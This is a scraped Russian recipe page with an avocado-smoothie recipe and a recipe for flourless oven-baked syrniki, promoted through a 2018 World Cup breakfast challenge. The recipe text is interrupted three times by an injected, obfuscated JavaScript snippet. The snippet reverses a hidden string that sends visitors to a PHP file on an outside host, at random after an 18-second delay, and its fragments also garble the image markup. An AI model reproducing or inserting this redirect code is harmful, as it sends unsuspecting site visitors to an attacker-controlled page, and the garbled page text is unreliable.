2 рецепта самых вкусных завтраков

Эти блюда не только отлично утолят голод и зарядят энергией, но и помогут справиться с челленджем от телеведущей и посла ЧМ—2018 Яны Чуриковой в рамках проекта «Команда чемпионов». Все подробности ниже.

Итак, в преддверии главного футбольного события посол ЧМ-2018 Яна Чурикова запустила челлендж: «Придумай полезный завтрак чемпиона и сопроводи его классным описанием». Что для этого нужно сделать? Всё просто. Приготовьте свой вариант полезного завтрака, выложите фото или видео, поставьте специальные хештеги #Держи_пас и #ЧуриковаЧеллендж и расскажите, чем полезен ваш завтрак и что даёт вам правильный старт дня. Вы можете взять на вооружение эти два рецепта, а можете придумать свои. Ни в чём вас не ограничиваем.

 

Больше челленджей, интересных и полезных материалов вы можете прочитать на сайте проекта «Команда чемпионов». Переходите по ссылке — и становитесь лучше!

390 calories

$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tovit-zavtrak-vsego-iz-3-ingredientov-3-prostyh-rec-im-8.jpg»> $NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tovit-zavtrak-vsego-iz-3-ingredientov-3-prostyh-rec-im-8.jpg»>

Смузи из авокадо

Полезный коктейль из авокадо, банана и молока.

$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tovit-zavtrak-vsego-iz-3-ingredientov-3-prostyh-rec-im-8.jpg» class=»c2″ alt=»Изображение рецепта Смузи из авокадо» title=»Изображение рецепта Смузи из авокадо»>

Смузи из авокадо

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

5 минут

КОЛИЧЕСТВО ПОРЦИЙ:

1 порция

КАЛОРИЙНОСТЬ:

390 ккал

Сложность

Время

5 минут

Кол-во порций

1 порция

Калорийность

390 ккал

Ингредиенты

Авокадо

1 шт.

Банан

½ шт.

Молоко

230 мл

Процесс приготовления

  1. Очистите авокадо и банан.
  2. Смешайте в блендере эти ингредиенты.
  3. Перелейте в красивый бокал и украсьте долькой лимона.

350 calories

Сырники в духовке

Диетические сырники, не содержащие ни грамма пшеничной муки и сахара.

Изображение рецепта Сырники в духовке

Сырники в духовке

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

20 минут

КОЛИЧЕСТВО ПОРЦИЙ:

2 порции

КАЛОРИЙНОСТЬ:

350 ккал

Сложность

Время

20 минут

Кол-во порций

2 порции

Калорийность

350 ккал

Ингредиенты

Творог

200 г

Яйца

2 шт.

Мука (рисовая)

3 ст. л.

Мёд (или кокосовый сахар)

2 ч. л.

Масло (кокосовое)

2 ч. л.

Разрыхлитель

1 ч. л.

Соль

1 щепотка

Процесс приготовления

  1. Разогрейте духовку до 200 градусов.
  2. В большой миске смешайте яйца с творогом, кокосовым маслом и мёдом (или кокосовым сахаром). Хорошо разомните всё вилкой.
  3. Добавьте просеянную рисовую муку, разрыхлитель и щепотку соли. Хорошо размешайте, чтобы получилась однородная масса.
  4. Сформируйте небольшие шарики, обваляйте их в рисовой муке и положите на силиконовый коврик (можно заменить пергаментом). Придайте шарикам форму сырников и выпекайте 15 минут.

Статьи по теме

Четыре челленджа от послов ЧМ-2018: занимайся спортом и побеждай

Оргкомитет ЧМ-2018 запускает главный ЗОЖ-челлендж этой весны

Алексей Смертин: 5 советов для начинающих бегунов

Алексей Немов: «Кто мог подумать, что простой мальчик из Тольятти станет олимпийским чемпионом!»

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector